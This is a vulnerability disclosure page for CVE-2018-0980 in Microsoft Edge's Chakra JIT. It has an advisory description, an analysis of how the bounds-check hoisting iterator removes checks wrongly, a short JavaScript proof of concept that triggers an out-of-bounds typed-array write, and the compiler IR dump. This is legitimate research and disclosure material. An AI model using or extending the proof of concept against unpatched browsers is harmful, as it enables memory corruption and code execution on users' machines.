Microsoft Edge Chakra CVE-2018-0980 – Memory Corruption Exploit

Authors:lokihardt@google.com     Risk:High

CVE:CVE-2018-0980               0day:Memory Corruption 

0day -id:0DAY-176196             Date:2018-05-18

Description

A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. If the current user is logged on with administrative user rights, an attacker who successfully exploited the vulnerability could take control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.

In a web-based attack scenario, an attacker could host a specially crafted website that is designed to exploit the vulnerability through Microsoft Edge and then convince a user to view the website. The attacker could also take advantage of compromised websites and websites that accept or host user-provided content or advertisements. These websites could contain specially crafted content that could exploit the vulnerability.

The security update addresses the vulnerability by modifying how the Chakra scripting engine handles objects in memory.

Aalysis

Chakra uses the InvariantBlockBackwardIterator class to backpropagate the information about the hoisted bound checks. But the class follows the linked list instaed of the control flow. This may lead to incorrectly remove the bound checks.

In the following code, currentBlock’s block number is 4 and hoistBlock’s block number is 1 (please see the IR code). I assume it should visit 4 -> 3 (skipped) -> 1 (break) in order with following the control flow, but it actually visits 4 -> 3 (skipped) -> 2 -> 1 (break) in order. This makes the block 2 have the wrong information about the bounds which affects the bound checks in the block 5 to be removed.

https://github.com/Microsoft/ChakraCore/blob/48c73e51c3e0fb36a08fa844cdb88c9d8a54de32/lib/Backend/GlobOpt.cpp#L14667

if(hoistBlock != currentBlock)
{
    for(InvariantBlockBackwardIterator it(this, currentBlock->next, hoistBlock, nullptr);
        it.IsValid();
        it.MoveNext())
    {
        BasicBlock *const block = it.Block();
        ...

POC

function opt(arr, idx) {
    ((arr.length === 0x7ffffff0 && arr[0x7ffffff0]) || false) && (arr.length === 0x7ffffff0 && arr[0x7ffffff1]) || (arr[0x11111111] = 0x1234);
}

function main() {
    let arr = new Uint32Array(1);
    for (let i = 0; i < 10000; i++) {
        opt(arr);
    }
}

main();

Here's the IR code for the PoC:

  FunctionEntry   #
---------

BLOCK 0: Out(1, 2)

$L8:                                                                          #
    s1[Object].var  =  Ld_A           0xXXXXXXXX (GlobalObject)[Object].var   #
    s21(s2)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4  2147483632 (0x7FFFFFF0)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #
    s3[Boolean].var =  Ld_A           0xXXXXXXXX (false)[Boolean].var         #
    s22(s4)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4  2147483633 (0x7FFFFFF1)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #
    s23(s5)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4  286331153 (0x11111111)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #
    s24(s6)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4  4660 (0x1234)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #
    s7[LikelyCanBeTaggedValue_Uint32Array].var = ArgIn_A  prm2<40>[LikelyCanBeTaggedValue_Uint32Array].var! #
    s8[LikelyUndefined_CanBeTaggedValue].var = ArgIn_A  prm3<48>[LikelyUndefined_CanBeTaggedValue].var! #


  Line   2: arr.length === 0x7ffffff0 && arr[0x7ffffff0]) || false) && (arr.length === 0x7ffffff0 && arr[0x7ffffff1]) || (arr[0x11111111] = 0x1234);
  Col    7: ^
                       StatementBoundary  #0                                  #0000 
                       BailOnNotArray  s7[LikelyCanBeTaggedValue_Uint32Array].var #0000  Bailout: #0000 (BailOutOnNotArray)
    s25.u32         =  LdIndir        [s7[Uint32Array].var+32].u32            #0000 
                       NoImplicitCallUses  s25.u32                            #0000 
                       ByteCodeUses   s7                                      #0000 
    s26(s10)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4  s25.u32      #0000 
    s15[Boolean].var = Ld_A           0xXXXXXXXX (false)[Boolean].var         #0004 
    s9[Boolean].var =  Ld_A           0xXXXXXXXX (false)[Boolean].var         #0004 
                       ByteCodeUses   s10                                     #0004 
                       BrNeq_I4       $L4, s26(s10)[CanBeTaggedValue_Int_IntCanBeUntagged].i32!, 2147483632 (0x7FFFFFF0).i32 #0004 
---------

BLOCK 1: In(0) Out(2, 3)

$L7:                                                                          #0008 
    s15[Boolean].var = Ld_A           0xXXXXXXXX (true)[Boolean].var          #0008 
    s9[Boolean].var =  Ld_A           0xXXXXXXXX (true)[Boolean].var          #0008 
                       BoundCheck     2147483633 < s25.u32                    #000f  Bailout: #000f (BailOutOnFailedHoistedBoundCheck)
    s27.u64         =  LdIndir        [s7[Uint32Array].var+56].u64            #000f 
                       NoImplicitCallUses  s25.u32                            #000f 
    s28(s16)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = LdElemI_A  [s7[Uint32Array][seg: s27][segLen: s25][><].var+2147483632].var #000f  Bailout: #000f (BailOutConventionalTypedArrayAccessOnly)
                       ByteCodeUses   s16                                     #0015 
    s29(s9)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4  s28(s16)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #0015 
    s9[CanBeTaggedValue_Int].var = ToVar  s29(s9)[CanBeTaggedValue_Int].i32   #0018 
                       ByteCodeUses   s16                                     #0018 
                       BrTrue_I4      $L3, s28(s16)[CanBeTaggedValue_Int_IntCanBeUntagged].i32! #0018 
---------

BLOCK 2: In(0, 1) Out(5)

$L4:                                                                          #001c 
    s9[Boolean].var =  Ld_A           0xXXXXXXXX (false)[Boolean].var         #001c 
                       Br             $L2                                     #001e 
---------

BLOCK 3: In(1) Out(4) DeadOut(5)

$L3:                                                                          #0021 
                       NoImplicitCallUses  s25.u32                            #0021 
                       ByteCodeUses   s7                                      #0021 
    s30(s17)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4  s25.u32      #0021 
    s18[Boolean].var = Ld_A           0xXXXXXXXX (false)[Boolean].var         #0025 
    s9[Boolean].var =  Ld_A           0xXXXXXXXX (false)[Boolean].var         #0025 
                       ByteCodeUses   s17                                     #0025 
---------

BLOCK 4: In(3) Out(8, 5)

$L6:                                                                          #0029 
    s18[Boolean].var = Ld_A           0xXXXXXXXX (true)[Boolean].var          #0029 
    s9[Boolean].var =  Ld_A           0xXXXXXXXX (true)[Boolean].var          #0029 
                       NoImplicitCallUses  s25.u32                            #0030 
    s31(s19)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = LdElemI_A  [s7[Uint32Array][seg: s27][segLen: s25][><].var+2147483633].var #0030  Bailout: #0030 (BailOutConventionalTypedArrayAccessOnly)
                       ByteCodeUses   s19                                     #0036 
    s29(s9)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4  s31(s19)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #0036 
    s9[CanBeTaggedValue_Int].var = ToVar  s29(s9)[CanBeTaggedValue_Int].i32   #0039 
                       ByteCodeUses   s19                                     #0039 
                       BrTrue_I4      $L9, s31(s19)[CanBeTaggedValue_Int_IntCanBeUntagged].i32! #0039 
---------

BLOCK 5: In(2, 4) Out(6) DeadIn(3)

$L2:                                                                          #003d 
    s32.u64         =  LdIndir        [s7[Uint32Array].var+56].u64            #003d 
                       NoImplicitCallUses  s25.u32                            #003d 
    [s7[Uint32Array][seg: s32][segLen: s25][><].var+286331153].var = StElemI_A  4660 (0x1234).i32 #003d  Bailout: #003d (BailOutConventionalTypedArrayAccessOnly)
    s33(s20)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4  4660 (0x1234)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #0043 
                       ByteCodeUses   s20                                     #0046 
    s29(s9)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4  4660 (0x1234)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #0046 
    s34.u64         =  Ld_A           s32.u64                                 #004b 
                       Br             $L1                                     #004b 
---------

BLOCK 8: **** Air lock Block **** In(4) Out(6)

$L9:                                                                          #004b 
    s34.u64         =  Ld_A           s27.u64                                 #004b 
                       Br             $L1                                     #004b 
---------

BLOCK 6: In(8, 5) Out(7)

$L1:                                                                          #004b 
    s0[Undefined].var = Ld_A          0xXXXXXXXX (undefined)[Undefined].var   #004b 


  Line   3: }
  Col    1: ^
                       StatementBoundary  #1                                  #004d 
                       StatementBoundary  #-1                                 #004d 
                       Ret            s0[Undefined].var!                      #004d 
---------

BLOCK 7: In(6)

$L5:                                                                          #

 

Leave a Reply